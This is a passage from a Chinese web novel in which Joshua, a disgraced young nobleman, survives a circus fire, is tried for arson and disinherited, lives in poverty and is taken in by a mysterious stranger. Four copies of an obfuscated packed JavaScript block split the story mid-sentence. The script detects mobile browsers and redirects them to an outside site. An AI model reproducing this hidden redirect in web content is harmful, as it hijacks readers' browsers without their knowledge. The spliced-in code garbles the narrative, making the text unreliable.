巡逻员摇了摇头，似乎有些犹豫，摇摆过后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344835|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他还是凑近约书亚耳边悄声说到：“好像是马戏团里有人故意纵火，已经烧死了好几个员工了。” 蓄意纵火？ 怎么会这样呢。 约书亚自己都意识不到，此时此刻他的脸色有多难看。 身后的车夫似乎也吓坏了，忙不迭开口劝到： “约书亚少爷，我们快回去吧，明天格雷老爷要是知道了，您又要被罚了...” 四周传来噼里啪啦的脆响，那是烈焰烧焦后的呻吟。约书亚咬紧了牙，他抬头看了一眼那仿佛能够吞噬一切的火焰，怕得浑身发抖，却在下一秒义无反顾地冲了进去。 “约书亚少爷！” “快拦住他！” 身后的声音逐渐远去了，约书亚还没反应过来，接触到火星的脸颊首先猛然泛起一阵剧烈的疼痛，他竭力避开那些摇摇欲坠的木架子，循着记忆往里面奔去。 就是这里！ 那是圈养蛇人的帐篷，即便是去过无数次，约书亚依然记忆犹新。 此时，源源不断地浓烟已经把他熏得睁不开眼，约书亚只能凭借记忆摸索着往里探去。 然而在看清里面的一瞬间，他却如坠冰窟。 明明身处灼热的烈焰之中，约书亚却出了一身冷汗。 没有人... 怎么会，没有人！ 整个帐篷里只有被烧焦到滚边的地毯和已经被火焰熔断的铁链。 难道是欧文提前把蛇人运送了出去？ 又或者，塞壬自己解开了锁链，早就逃之夭夭了？ 约书亚不敢去想那个最坏的那个情况，然而一路上看到的那几具焦黑的尸体让他的牙齿止不住地发颤，或许蛇人就和现在的他一样，再也逃不出这炼狱般的火海。 轰—— 来不及让他多想，几乎就在下一秒，身后的木架子再也受不住火焰的酷刑，轰然倒塌。 约书亚被那席卷而来的热浪扑倒在地，他狼狈地摔在一边，求生的欲望迫使他努力往外爬去，然而来时的路早就被那焚毁的废墟堵死，四下里除了愈来愈高的焰火再无其他。 越来越多的火星砸在他的皮肤上，约书亚却像感觉不到一样，恍惚间他想起第一次见到蛇人时的场景，彼时的他震惊之余还有畏惧，约书亚无论如何也不会想到，仅仅几个月，他竟然会为了这么一个东西，抛弃最为珍视的生命。 浓烟逐渐淹没了他，有什么声音却在他脑海中逐渐清晰。 啪——啪—— 是脚步声。 或许这是人是临近死亡之前，都会听到预示着丧钟的死神的低语。 这种声音越来越清晰，直到停在他面前。 约书亚勉强睁开眼，他的视线首先触及到来人的双手，他眨了眨眼，强行让自己清醒一点，声音颤抖：“我......” 彻底失去意识之前，约书亚看见火焰中闪烁的微弱反光，那人的视线从他脸上略过，他俯身靠近约书亚，好像在说什么。 而他的眼睛...... 那是......那是—— 5. 旖梦 约书亚做了一个冗长的梦。 在那里，他的意识去到了极乐之境，约书亚听到天堂的颂歌，圣灵们正在赞扬神的光辉，那是七芒星闪烁的巨大礼堂，圣殿正中央的宝座上，一只巨大的眼睛正凝视着他。 在梦里，他透过层层迷雾，看到了小时候的自己。 “怪胎，你是个怪胎！” “你是哑巴吗？约书亚，为什么从来没有听你说过话？” 好嘈杂...... “喂喂...快跑快跑，有人来了！” 约书亚有些茫然地抬头。 “小豆丁，”那个人在他面前蹲下，他的袖子里，一只银色的小蛇正在探头探脑地张望。 察觉到约书亚的视线，他有些惊奇的问：“你不怕蛇吗？” 约书亚摇了摇头，他看到周围的人脸上出现畏惧的神色。 “主教大人，我们该回去了。”一个修士在旁边提醒道。 “你可以自己一个人回家去吗？”那个人问，看到约书亚懵懵地点了点头，他又笑着和袖子里的小蛇说，“它在和你说再见。” “嘶嘶...”那条蛇吐着信子，三角形的吻部上下移动，仿佛真的在颔首似的。 ...... 人类会在什么样的情形下对另一个人心生好感？ 美丽的脸庞，曼妙的身材，或是相似的爱好？ 少年时期的约书亚也曾短暂地喜欢过谁，那天过后，他在报纸上疯狂搜寻那位大主教的讯息，圣堂的光辉在他面前也显得暗淡，被铺天盖地的宣传和夸赞围绕着的，只有一张侧脸，这是约书亚第一次觉得黑白的表现是如此贫瘠。 他偷偷剪下那张照片，藏在枕头下。就好像同龄男生收藏交际花的手帕，仿佛这样做这个人就能属于自己一样。 约书亚知道自己不正常。 这种异常在他的青春期变得更加明显，他太孤僻了，有时他坐在实验室里望着新培育出来的真菌，和手术刀说话，和空气说话，都没有回应。 约书亚不会承认，第一次看见塞壬时，他竟从被锁链拴着的蛇人和那位报纸上的主人公之间品出了一丝微妙的相似。 这是何等的亵渎，连最权威的科学也根本无从解释，约书亚只能匆匆把它归结为一种“投射效应”。 只有在与蛇人相处的时候，约书亚才得以在这窒息的日常中寻求裂隙，呼吸氧气。他不用绞尽脑汁地想一些老套的社交话题，他甚至不需要说话……他仅仅只是在那而已。 我只是想有一个真正属于我的东西。 他想。 那就足够了。 他又想起他养的第一只宠物——那是一只纯白的兔子，它很亲人，总是会用那柔软的三瓣嘴轻轻触碰约书亚的手心。 那只兔子最后被肢解。 “约书亚，我们是雄狮，不是兔子。”格雷老爷让人把那只兔子烹饪，它被端上桌，放到约书亚面前，女仆掀开盖子的瞬间，他忍不住当场呕吐出来。 他在梦里疯狂的尖叫，这个畸形的世界挤压他，撕裂他，妄图塑造他。他了解了科学，却依然被迫在每个周天做礼拜，学习新约旧约。 上等人把贱民的血肉当作红酒和面包，却能高声宣扬“美德”和“高尚”。 他像是被空投在这里的一个错误，与这个地方格格不入。 ...... 约书亚在剧烈的喘气中醒来，发现自己竟然蜷在床上，他许久未曾做梦，竟梦到许多从前的回忆。 太阳穴传来针扎似的疼痛，他头痛欲裂，恍惚间记得的最后一幕是自己似乎倒在了马戏团里。 月光透过半开的窗帘洒进床头，约书亚借着那光看向自己的手，指节清晰，消瘦到透出一些青色的血管，还是和以往一样白净，瞧不出一点被烈火灼伤的痕迹。 只有喘息间那种隐隐可闻的烟焦味提醒他，这里确实是现实世界。 热，好热。 他好像又陷入了梦的循环。 约书亚仿佛又回到了那个被烧成灰烬的马戏团，过度的幻觉甚至让他再次产生了被焚烧的错觉。 就在他感觉自己要渴死的时候，一根管子伸进了他的嘴里，约书亚像是一个在沙漠里长度跋涉的旅人，急忙吮住了大口吞咽。 不知是不是错觉，哺入他口中的水有种异样的腥甜，那根细细的、蓄满了水的管子越进越深，直把他的嗓子搞得瘙痒，忍不住咳嗽才退了出去。 他在高烧中挣扎，翻来覆去许久仍旧无法入睡，只得爬起来摸索床边的烛台，不知为何，膀胱此时像蓄满了一样摇晃。约书亚跌跌撞撞地走向门口的尿壶，只盼着能赶紧解决完入睡，小半晌，才传来淅淅沥沥的水声。 由于身上太热，他看似一条不紊的丝绸睡袍下不着寸缕，睡袍提起的高度刚好露出了被蒸的泛粉的一截小腿，他热急了，绣着蔷薇花的睡袍几乎被汗液浸湿，半透明状的贴在皮肉上。 约书亚精神恍惚地走向床铺，拉起被子蒙住头。 下一秒，他睁开眼，又来了，那种被窥视的感觉，约书亚简直要被它折磨疯了。即使心理医生一再强调那只是他自己的幻想，约书亚却依然受到它的困扰。 “你的情况很不乐观，格雷先生。”心理医生那种欲言又止的神情狠狠刺痛了他，“你是说，你经常感觉，人变成了别的生物？” “不...我是说，我...”约书亚简直想要尖叫，他想要解释，但最终，只是讷讷地陷入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344836|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉默。 “我生病了...医生，”他低下头，两只手有些神经质地扣动，“我一定是生病了...没错。” 还不待医生回答，他又猛地抬起头，殷切地问：“吃药！吃药就会好的，是吗？” 心理医生被他突如其来的举动骇地退了一步，眼前这个纤弱少年那一瞬间的绝望和疯狂甚至让他联想到了一些被教会关起来的“精神病人”，就在三天前，一个算塔罗的占卜师声称在今年的红月看到了吸血鬼，但他很快就因为对大主教的造谣和无端揣测被处以极刑。 约书亚的前额冒出冷汗。 他为自己的罪恶感到忏悔，时至今日他方才明白，他竟然对一只兽类，产生了异样的情感。 这个认知简直能让他下一秒就自杀谢罪。 他只有日复一日地走进教堂，希望能够通过付钱赎清自己的罪孽，这让他本就局促的财务状况雪上加霜。 约书亚嘴里不断念叨着祷告的话语，他本不是一个虔诚的教徒，但此时，他也只能寄希望于神父耶和华来拯救他，让他从那只毒蛇口中撷着的，引诱人犯下爱欲之罪的苹果中脱离。 他死死地揪住被子，只觉得自己的祷告生效了，身上的被子逐渐变得丝滑而冰凉，可怜的约书亚把脸紧紧地贴住被子的一角，他没有意识到，手底下的被子仿佛变成了什么活物，把他紧紧缠住，顺着他的身体不断地滑动摩挲。 就这么挣扎了一夜，约书亚在半梦半醒间退烧了，彻底醒来时他只感觉脑袋像被针扎一样的痛，他尽可能地回忆睡前发生的事，脑子却像是被搅拌过的浆糊一样，什么也记不起来。 他随手翻开被子下床，然而就在摸到被子的一瞬间，约书亚忽然惊恐地意识到，他梦遗了。 这原本是一个正常的生理现象，可伴随着他的羞愧，昨晚上的梦境的细节逐渐闪回到他的脑海。 蛇，全是蛇，蛇的鳞片，蛇纤长分叉的蛇信，粗壮的尾巴不断绞紧，摩挲，还有布满倒刺的...... 在梦里，他被一只蛇类引诱了，或许不是引诱，那种情况说是合丨奸应该更为准确。 一瞬间，□□夹着的被子仿佛成了蛇类丝绸般光滑的尾巴，约书亚如同被咬了一样跳下了床。 “天啊。”他捂住脸，力道之大，清瘦的两颊都被指节挤出来一个鼓出来的弧度。 就在这时，楼下传来了急促的脚步声。 房门简直像是被一阵飓风刮开。 “约书亚.格雷，你最好好好跟我解释一下这是什么。” 来的人面色铁青，右手紧握着一张传票，显然已经气愤到了极致。 “父亲。”约书亚转过头去，他把手放下，嘴角又回到了那熟悉的弧度。 6. 剖心 约书亚站在礼拜堂上，他面前是一具已经焦炭化的尸体。 几分钟前，一队治安官闯进了他的房子，在女仆的尖叫声中，几乎是不由分说地把他带到了这里。 神父此时正义愤填膺地挥舞着手臂，他不断诉说着约书亚被魔鬼引诱附身，要求他坦言自己的罪行，为马戏团里被烧死的人赎罪。 在他身前，洛克勋爵赫然端坐在陪审团里，就是他向法官和神父上报，约书亚迷恋于一个被诅咒的类人怪物，求而不得，这才放火烧了马戏团。 再加上起火当天，确实有居民看到了约书亚的身影出没在马戏团附近，他就这样成了板上钉钉的嫌疑人。 “格雷少爷，您是否承认，你被魔鬼蛊惑，犯下偷窃罪、侵犯他人财产罪、纵火罪以及危害他人生命罪？”法官面上无悲无喜，充分扮演着执掌平衡之人，他身后的墙上，装饰着羽毛和托盘。 “我否认。”约书亚皱了皱眉，他并不畏惧，只是即便他再迟钝，也意识到了这应该是洛克设计针对自己的一场局。 约书亚有些走神，或许他还记恨着自己在马戏团当众让他下不来台的事？ “那请问您如何解释，已经有多位贵族举证，您与马戏团老板欧文过从亲密，您还几度想要买下那个...那个你所迷恋的怪物？” 法官修正了一下措辞，他所受的教育让他说不出什么不体面的话来。 “在我到这之前，治安官已经全面搜查了我的房子，如果法官大人觉得我为了得到马戏团的财物才实施纵火，请问我难道能够在一晚的时间就把它运送出城吗？” 约书亚谨慎地避开了那个敏感词，没办法，贵族之间向来注意名声，这些事情在坊间本就掺杂了些说不清道不明的隐靡色彩，约书亚并不想承担更多莫须有的罪名。 人群窃窃私语，这种贵族之间的腌臜事可不常见，陪审团里的大部分人都抱有一种幸灾乐祸的态度。 就在这时，之前一直保持安静的洛克勋爵忽然开口了，“法官大人，我反对。”他的目光有恃无恐地扫过约书亚的脸，随即施施然道：“约书亚先生或许并想没有偷窃什么，他只是憎恨马戏团不遂他的意，才选择这样两败俱伤的做法。毕竟如果一个人被撒旦附身，很容易产生疯狂的想法不是吗，让我想想那个词，喔对了——由爱生恨。” 他这话说得很巧妙，迫使约书亚必须自证清白，然而这种已经失去证据的事，又有谁说得清呢。 洛克紧盯着约书亚的脸，补充道：“法官大人，你要知道，约书亚先生看那个东西的眼神，简直就像注视情人一样温柔。” 于是法官又把脸转向了约书亚，他的眼里隐隐藏了一丝幸灾乐祸。 约书亚依然面无表情，作为在文法学院常年得A的“书呆子”，洛克这样漏洞百出的提问甚至不值得他运用法律常识来驳倒，因此他并不惊慌。 “洛克先生”约书亚加重了声音，“您提问中贫瘠的逻辑就像您的心胸一样狭隘，” 无视了洛克骤然僵住的脸，约书亚转向法官，“我想除了洛克先生，在座的各位老爷也都曾在马戏团观看过表演吧”，看着坐席里那几张心虚的面孔，约书亚在心里嗤笑，“退一万步说，如果那个东西真的已经被魔鬼诅咒，把这一切付之于灰烬难道不是更和你意吗？” 法官也噎住了，只听约书亚继续说道：“我与欧文来往，只是因为我看不惯马戏团内部严厉体罚表演动物的做派，圣主在上，或许法官大人更应该查一查，仁慈的洛克老爷家中，是否存有被虐待致死的动物的标本呢？” 洛克的脸色已经全部沉了下去，他万万没想到，约书亚这个素来不合群的“怪胎”竟然有着不亚于自己的疯狂，他根本不在意自己的名声，更不在乎给其他贵族保留颜面，此时此刻，他甚至有些后悔自己贸然的举动，毕竟谁也不能预料，或许约书亚下一秒语出惊人，再掀开什么不能见人的遮羞布。 “法官大人，”约书亚继续发问，他在陪审团中找到了一个熟悉的身影，“西城区失火当天，我曾在西城区附近偶遇一名巡逻官，他可以为我作证，我出现在那里时，马戏团已经几乎全部烧光了。” 然而对上约书亚的目光，那位巡逻官却眼神闪烁，像是害怕什么似的避开了眼神接触。 “罪犯回到犯案场所，这也并不罕见。”洛克冷冷一笑，“或许你只是想确认一下，你的同谋把任务执行的怎么样了？” 约书亚脸上挂上一丝讥讽：“如果我是你，一定会考虑重头再回法学院进修一次，合理怀疑也是需要建立在证据上的。” 像被人掐住喉咙似的，洛克的笑容僵在那，半晌哼唧不出一个字。他竭力做出一个无所谓的表情，却在嫉妒和愤怒下边的扭曲。 “我天...”，珍妮夫人倒吸一口凉气，“这孩子可真是不留情面。”她是陪审团里为数不多愿意为约书亚说话的人，这是因为约书亚曾为她不幸染上疟疾的小女儿配过一种可以减轻痛苦的药水。 眼见审判陷入僵局，法官只能传那位“目击证人”上场。 这位新上任的法官咳了两声，只得按照章程继续询问：“根据约书亚先生的说法，你是否可以作证...” “他！他不对劲！”还不待法官说完，那个伙计就着急忙慌地先开口道：“我看不真切，但是还有人在...那里明明已经烧塌了！”，他一口气说了那么多，却忽然噤声，像是害怕什么似的，开始四处打量。 众人顺着他的目光往上看，那只是一个平平无奇的天花板，什么异常都没有。 “大人，如果您不信，可以...可以问下格雷家的车夫，我们都是亲眼看着约书亚少爷冲进去的，按理说，他...他根本不可能活着出来。”男人说的十分犹疑，语焉不详，眼神中透出一丝疑惑和恐惧。 约书亚皱眉，巡逻官见了他跟见了鬼似的表情让他心里很不舒服，“法官大人，我想我们大家都能看出，这位先生的精神状态，并不足以支撑他说出有效的证词。” “那么您如何解释，只有您一个人安然无恙地回到了家了呢？” 审判进行到现在，事情的真相已经不重要了，约书亚意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344837|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识到，这些人绝不会放他就这么轻松地离开审判席。 “我......”约书亚竭力控制自己的表情，圣主在上，鬼知道他是怎么躺在在自己床上的，但他一定不能让法官看出破绽，他的脑子飞速运转，刚想开口，就被人再次打断了。 “够了，”出乎意料的，这次开口阻止的是格雷老爷，他的脸色显然也不好看，“法官大人，请宽恕我的教子无方，约书亚犯下这种过错，我是实在不能再容忍包庇下去了，格雷家的爵位和产业决不能让这样一个人来继承，希望法官大人在这给我做个见证。” 这话一出，四下里立马寂静了片刻，随即立马响起了惊呼声。在座的大部分人都心知肚明，格雷老爷有一个即将成年的私生子，颇受宠爱，但即便如此，他们也震撼于这位贵族老爷的无情。 约书亚徒劳地扯了扯嘴角，说实话，他的内心并没有什么波动，从始至终，他都从没有真正融入过这个家庭，他热爱并专精于他的医学事业，这让他即便失去了“绅士”的名号，也能找到一份相对体面的工作养活自己。 他只是不置可否地向那个方向鞠了一躬，淡淡道：“恭喜了，父亲。” “约书亚.格雷，”法官立马转变了称呼，“或许并没有足够充足的证据表明你纵火、谋杀，但马戏团老板的账簿和来往书信表明，你确实对那个怪物的日常生活十分关照？” 罕见的，约书亚并没有回答，但他的沉默证明了一切。 “所以，你承认，你确实迷恋于这个被诅咒的怪物？”法官很不甘心，这么久以来，他好像终于抓住了漏洞，但这苍白质问也仅仅只能为他挽回一点所剩无几的颜面，因为他已经能猜到约书亚的回答。 某种程度上他确实无计可施，即便他今天有这机会可以审判贵族，这也并不意味着他真的可以凭借着莫须有的罪名把约书亚送去坐牢，约书亚已经失去了爵位和贵族的称号，这已经是极大的羞辱和惩罚了。即便是洛克老爷，也只是要求他在庭审时多为难一下约书亚，搞臭他的名声罢了。 原本嘈杂的礼拜堂忽然静了下来，全场陷入一种微妙的氛围。 所有人的眼睛都盯在约书亚脸上。 非常不合时宜地，约书亚想起那个铁匠的故事，就在亲眼看到马戏团彻底化为灰烬，遍寻无果的瞬间，他似乎终于彻底理解了那个绝望的铁匠。约书亚放任自己的的目光从法官脸上移到一脸得意的洛克，又瞄到父亲的脸，格雷老爷似乎终于舒了口气。 然后他看向了神父，在教堂彩色玻璃的投射下，他一字一句，毫无留恋地说道：“是的，我承认。” 法官还说了什么，约书亚已经听不见了，他看见神父状似癫狂的跳起来，大声嚷嚷着什么，他看见贵族们交头接耳，露出恐惧又鄙夷的神情，甚至就连洛克脸上也写满了不可置信的震撼。 但约书亚并不关心，他只是轻轻低下了头。 下一秒，随着羊皮锤落下，这位曾经的贵族老爷，彻底沦为了罪人，他所承认的背德之罪，足以让他被流放到都城以外最荒芜的土地上。 7. 鳞片 清晨的鱼市，是一个永远弥漫着腥味与潮湿气息的地方。 狭窄的小巷被随意摆放的木箱和破旧的摊位挤满，鱼鳞和内脏混着污水在石板地面上积成了一片片泥泞。空气中充斥着腐烂和咸湿的气味，随时都能让人感到窒息。苍蝇成群结队地在上空盘旋，飞向那些已经发白的死鱼和腐烂的鱼肠上，发出嗡嗡声，与小贩们的吆喝声混杂在一起。 约书亚穿梭在贫民窟的街道上，他尽可能地避开肮脏的水坑，那双棉质的白色布鞋一旦沾上了污渍就无法清理，而他只剩那样一双鞋了 摊贩们穿着破旧的衣服，他们浑身都是潮的，双手沾满鱼腥，半死不活的鱼被粗暴地摔在木板上，溅起的脏水贱到周围路人的裤脚。地上散落着打翻的桶和腐烂的菜叶，血水混着污水顺着巷子两侧的石缝缓缓流向远方。 一周前，他决计想不到自己会来这种地方，然而现在，约书亚只能一边寻找着鱼摊上的边角料和“便宜货色”，一边迫使自己挺起胸膛，尽量不要露出怯懦的神情。 但这事实上没有什么用，即使他再装的色令内荏，那对于未知的恐惧让他他那犹如初生羔羊般单纯怯懦的神情无所遁藏。更别说在数日贫苦生活的磨损下，这位昔日贵族老爷身上的“傲慢”与“矜贵”已经不可避免地被磨没了。 往日里掩盖在阶级差距下那股特殊的气质让他像藏在一滩沙硕里煜煜生辉的珍珠，惹眼的要命。 就在昨天，他破旧的房间就被一个醉汉闯了进来，那个男人没有抢走他任何财物，或许是约书亚一贫如洗的家里让他无从下手，但约书亚从他那醉酒充血的眼珠里看到了更可怕的，更为让他发抖的欲望。 曾经他也在有特殊癖好的贵族老爷中看到过这样的眼神，那个可怜的男孩被凌虐的几乎只剩下一口气，最后还是约书亚心怀恻隐，给他找了医生看病，算是捡回了一条命。 可是现在，又有谁能来救他呢？ 约书亚只有将自己藏在被子中，他甚至感到自己的的牙齿已经忍不住开始微微发颤，醉汉粗重的呼吸声离他越来越近，最终却在床前停滞了，四周又重新变得死一样的寂静。 良久，他才敢睁开眼睛，奇怪的是，除了空气中那一抹挥之不去的酒臭味，四周竟然一个人都没有。或许是那醉汉最后清醒过来收了手，约书亚却实在不敢继续睡下去了。 他连滚带爬地冲到门前，用尽全力用背部抵住那扇摇摇欲坠的门，尽管那力量可能于事无补，但他实在是怕极了，就维持着这样的姿势过了一夜。 昨晚他几乎一夜没睡，早上也没吃什么东西，脆弱的胃不断萎缩着抽搐，约书亚却只能呕出一些酸水来，然而还没走过两个街区，他就已经忍不住想要逃回家去了。 周围意味不明的打量像是黏在身上的臭虫，令人作呕。 他没有特意留意周围的动静，却能隐约捕捉到些许谈话声，最近他住的这个街区似乎不太安全，治安官正围着一间房子周围巡查，似乎是街角鱼铺的一个酒鬼流浪汉被某种不知名的野兽袭击了，这在这种贫民窟本不是什么稀罕事，只是听说他的死状十分惨烈，尸体破碎的非常蹊跷，搞得这一片区人心惶惶，这才引来了当地治安官的注意。 就在这时，约书亚感觉到脚下被什么东西硌了一下，他吓了一跳，还以为踩到了什么不干净的东西，低头查看的时候却忍不住“咦”了一声。 这破败的小巷的地上，竟然掉落了几枚闪烁着金属色泽的片状物。 他蹲下去，把那三四片东西捡到手里细细端详，一股怪异的感觉涌上心头，那东西竟然是纯金打造的，只是形状尤为奇怪。一般情况下，贵族们热衷于把金子打造成花草或者器物的模样，然而他捡到的这些东西没有规则的花纹，杂乱的形状却很容易让人联想到一些爬行生物的鳞片。 约书亚抬头四处张望，奇怪的是，竟然完全没人注意到这些东西。 他站起来，犹豫再三，还是打算在原地等失主前来认领，约书亚猜测，或许是哪位贵族小姐裙摆或是扇子上的装饰掉在了这里，只是这位小姐的审美显然非同一般。 与此同时，胃里由饥饿催生的绞痛却已经开始催促他，食欲摧残着他摇摇欲坠的自尊心，所谓的“绅士礼节”在这种情况下已经被啃食的差不多了，在等了一阵后，约书亚便迫不及待地用这些金子换了一个黑麦面包。他发誓，这是他能买到的最便宜的食物了，即使那东西粗糙到仿佛能划破他的喉咙。 此时他还在单纯的想着，万一真的找到失主，这些劣质又廉价的面包还不至于让自己负债累累。 尽管约书亚并不想承认，但这笔从天而降的“不义之财”确实大大地改善了他的财务状况，这之后的几天，他都靠着这些黑麦面包熬了过去。 他现在急切期盼一份工作。然而，在这种鱼龙混杂的贫民窟显然并不能找到什么体面的活计。在这里，人和牲畜一样，死了就拉去焚烧，没人会聘一个医生为他们看病。往日里他在行的那些技艺全部成了累赘，这里的人更不会有心情去讨论插花品酒，附庸风雅。 几天后，可怜的约书亚只能日复一日地站在街上，看看有没有工厂正在招学徒，或者愿意让他从事一些文书方面的工作。 就是在这时，他又发现了同样的金色鳞片。 约书亚自认不是一个细心的人，这些金光闪闪的片状物在肮脏的街道上显得那么格格不入，但匪夷所思的是，每次似乎都只有他一个人在脚下发现了这些东西。 约书亚不止一次地谴责自己，但亏心事这东西，只要做了一次，下一次便容易得多，当约书亚又一次捡起那些金色的鳞片，他甚至开始不切实际地怀疑，会不会是有人故意把这些东西丢在这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344838|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等人发现。 他像一只被奶酪诱惑的小鼠，顺着鳞片掉落的轨迹弯腰认真向前寻找。 ——直到一双靴子停驻在他面前。 真是干净的不像话。约书亚不合时宜地冒出这个念头，那双靴子在肮脏的街道上行走竟然没有粘上一点污水，在昏暗的日光和水洼的倒映下闪烁着细微的光泽。或许是某种动物的皮革？约书亚也不知道，只是那款式和式样确实是他从前没见过的。 他之前找的太急，险些就和要和眼前的“靴子”来个亲密接触，约书亚慌忙直起身想要道歉，然而这段时间以来的营养不良立马给他带来了一阵眩晕。 眼看着就要重重摔在地上，面前的人却轻轻地托住了他的额头。 约书亚意识到，大概是那位靴子的主人扶住了他，从额上传来的触感来看，这位热心的绅士应该带了一双皮革手套，此刻正凉丝丝的搭在他颈侧，似乎是怕他再次摔倒，那人竟然像抱小孩一样把他半扶了起来。 约书亚不由得羞愧起来，他本就不习惯与人亲密接触，赶紧站直了腰，慌忙道谢。 到这时他才看清了面前人的长相。 圣主在上，约书亚发誓，他第一次觉得自己的文学能力竟然那样贫瘠，又或许是他饥寒交迫太久，以至于精神产生了幻觉。 这并不是一张能在现实生活中看到的脸，或许被精心描摹在画布或者教堂的壁画上会更为合适一些。 某一瞬间，约书亚甚至回想起自己之前在礼拜堂看过的宗教画像，那幅垂下眼眸露出关切又悲悯的神色的基督像与眼前的场景微妙地重合在了一起。只是那一对翡翠色的瞳孔，硬生生把这种神性的美感破开了一大道口子，无端地产生出一种强烈的不和谐来。 那位绅士倒没计较他一直盯着别人脸看的冒犯行为，他的眼神移到约书亚手中的黄金鳞片上。 约书亚这才注意到，面前的人腰上装饰着一条黄金的的蛇形配饰，此时正悬挂在大衣身上泠泠作响。 明白过来的一瞬间，约书亚原本好好拿着的金色鳞片立马变得烫手起来，他慌不择路地想要解释，自己并不是一个下流的偷窃犯，只是偶然间“不小心”捡到了这些鳞片。但以约书亚的个性来看，想要解释清楚并不是件容易的事，他甚至开始流汗了。 面前的人似乎看出了他的无措，温和地打断了他，那种态度甚至称得上是循循善诱了。 “或许我们可以找个地方慢慢说，毕竟这里太嘈杂了，刚好我也想仔细了解一下事情经过。”男人的声音并不十分低沉，尾音上翘，若不是约书亚太过紧张，他应该能意识到那声音中藏不住的一丝兴奋。 约书亚张了张嘴，他徒劳地想要说些什么，却始终说不出拒绝的话，最后，他只能垂下了头。 “只要您不把我交给治安官就行。”他闷闷地嚅嗫到。 8. 被捡回家 那位绅士把他带到了马车上，那儿很私密，像是一幅天然的屏障，把外界的嘈杂和臭味完全隔绝开来。 车厢里似乎点着什么香，蔷薇花混杂着东方龙涎，没什么侵略性，就连常年对香水并不感冒的约书亚也不得不承认，这个味道并不讨人厌。 约书亚局促地收起脚，尽量缩小自己的存在感，天知道就在一周前，他还是使用豪华马车出行的贵族老爷，而此时他却在担心，自己脚上粘上的污水是否会破坏脚下柔软华丽的地毯。 “你可以叫我兰瑟尔。”旁边忽然传来的声音吓了约书亚一跳。 兰瑟尔坐到了他身旁，偏头朝他笑了笑。他们离的有些近，明明车厢里的空间十足宽敞，两人的大腿却若有若无地贴着，这让约书亚有些不适，他尽量再往一侧靠了靠。 我身上不会有鱼腥味吧？ 约书亚有些焦虑，他不确定这么些天的贫困生活会给他的身体带来怎么的变化——比如散发出什么让人厌恶的味道之类的。 连约书亚自己也没想到，他对于自己的“新身份”竟然接受得如此之快。 一般来说，贵族是不屑于和贫民窟里的贱民透露姓名的，因此，约书亚有些受宠若惊，他这段时间吃了太多苦，冷不丁忽然被这样友善地对待，约书亚最不想的，就是给眼前的人留下不好的印象。 “我是约书亚，先生...非常感谢您的大度。”约书亚依旧不敢抬起眼直视眼前的人，他把这归因于兰瑟尔先生的长相。 而更让他感到尴尬的是，与他的拘谨局促不同，身侧的目光似乎一直在打量着自己。 约书亚尽量控制自己的眼睛不要到处乱看，他的教养并不允许他干出这么不体面的事来，但那放置于马车正中央楠木矮几上的精致糕点，对他痉挛萎缩的胃来说，实在具有莫大的吸引力。 “要吃点这个吗？”兰瑟尔敏锐地察觉到了约书亚的想法。 约书亚更窘迫了，他甚至怀疑自己是否在无意识的情况下发出了吞咽声，而不待他拒绝，兰瑟尔已经将那个托盘放在了他手上。 一瞬间，对于食物的渴望和对友善的感激在与无用的自尊心的战斗中占了上风，约书亚几乎没怎么咀嚼就把盘里的糕点吞下肚，兰瑟尔营造出的氛围太温和无害了，这让约书亚甚至没有过多注意自己的吃相是否礼貌，老天啊，他只拼命地想先填饱肚子再说。 正盯着托盘里的最后一块蛋糕，约书亚面前出现了一只握着茶杯的手，与此同时，约书亚感觉到一只手越过自己，轻轻拍了拍他的脊背。 “喝点奶茶吧，小心噎着。” 约书亚艰难地咽下一整口糕点，如果他此时能分出一些神来，就会意识到兰瑟尔的动作已经十分越界了，这位陌生的绅士甚至几乎把约书亚半搂在怀里，以一种哄小孩的暧昧姿态哄骗他再喝下一杯“睡前牛奶”。 但对于已经被迷晕了头的约书亚来说，他只能隐约闻到，随着兰瑟尔俯身，空气中携带出一股蔷薇花的味道。 